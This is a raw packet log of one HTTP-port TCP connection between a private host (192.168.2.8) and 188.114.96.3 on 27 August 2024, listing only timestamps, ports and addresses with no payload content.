Aug 27, 2024 09:49:38.624392986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624403954 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624408960 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.624414921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624439001 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.624599934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624610901 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624620914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624631882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624643087 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624654055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624659061 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.624665022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624675989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624680042 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.624706984 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.624742031 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624752998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624766111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624783039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624785900 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.624794960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624806881 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624809980 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.624818087 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624830961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624831915 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.624850988 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.625030041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625047922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625058889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625068903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625072002 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.625081062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625085115 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.625092030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625102997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625114918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625125885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625128984 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.625140905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625165939 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.625325918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625336885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625341892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625353098 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625364065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625375032 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625386000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625396013 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.625407934 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.625422955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625432014 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.625435114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625447035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625458956 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625469923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625478029 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.625482082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625492096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625492096 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.625502110 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625519991 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.625545025 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.625684977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625698090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625710011 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625719070 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625747919 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.625783920 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.625822067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625833988 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625844955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625863075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625874043 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.625874043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625884056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625895977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625897884 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.625906944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625919104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625931025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625938892 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.625943899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625956059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.625957012 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.625983000 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.625997066 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.708662987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.709171057 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.709182024 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.709250927 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.709336996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.709347963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.709393978 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.710144997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.710155964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.710184097 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.710416079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.710494995 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.710580111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.710596085 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.710607052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.710649014 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.710736990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.710747957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.710758924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.710768938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.710777044 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.710804939 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.710901976 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.710912943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.710923910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.710941076 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.710989952 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.711102962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.711117983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.711127996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.711139917 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.711150885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.711162090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.711174965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.711189985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.711193085 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.711220026 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.711236000 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.711258888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.711271048 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.711281061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.711292028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.711301088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.711307049 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.711312056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.711323023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.711325884 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.711334944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.711348057 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.711358070 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.711359978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.711370945 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.711376905 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.711388111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.711395979 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.711399078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.711416006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.711426973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.711436987 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.711437941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.711451054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.711462021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.711467981 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.711476088 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.711507082 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.713000059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.713012934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.713023901 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.713036060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.713059902 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.713104963 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.713124990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.713136911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.713149071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.713160992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.713175058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.713177919 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.713186979 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.713200092 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.713224888 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.713430882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.713443995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.713454962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.713465929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.713476896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.713483095 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.713488102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.713504076 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.713540077 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.713557959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.713568926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.713574886 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.713584900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.713617086 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.713625908 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.713752031 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.713762999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.713772058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.713783026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.713795900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.713813066 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.713823080 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.714051962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.714063883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.714073896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.714085102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.714097977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.714107990 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.714108944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.714122057 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.714132071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.714153051 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.714154005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.714171886 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.714184999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.714196920 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.714202881 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.714209080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.714220047 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.714231014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.714242935 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.714267969 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.714327097 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.714339018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.714349985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.714364052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.714375973 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.714376926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.714395046 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.714431047 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.060868025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.060976982 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061029911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061064959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061064959 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.061109066 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.061113119 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061167002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061199903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061233997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061235905 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.061269045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061279058 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.061305046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061348915 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.061350107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061373949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061388969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061403990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061413050 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.061419010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061435938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061444044 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.061453104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061467886 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061481953 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061496019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061505079 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.061511040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061523914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061532974 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.061536074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061547041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061548948 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.061558008 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.061558962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061570883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061582088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061589003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061590910 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.061633110 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.061651945 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.061803102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061814070 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061824083 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061842918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061853886 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061857939 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.061865091 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061877012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061887026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061893940 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.061898947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061908960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061918974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061928034 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.061929941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061940908 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061949968 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.061955929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061964989 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.061968088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061980009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.061984062 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.061990023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062001944 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.062001944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062012911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062026978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062027931 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.062038898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062051058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062062025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062067032 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.062084913 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.062104940 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.062412977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062422991 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062433004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062443972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062448978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062458992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062464952 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062478065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062479019 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.062489033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062493086 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.062494993 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062499046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062504053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062515020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062535048 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062542915 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.062546015 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062557936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062570095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062572956 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.062580109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062592030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062602997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062603951 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.062614918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062627077 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062629938 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.062638998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062644958 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.062653065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.062669039 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.062691927 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.063203096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063215017 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063225031 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063230038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063235998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.063241005 CEST	80	49715	188.114.96.3	192.168.2.8
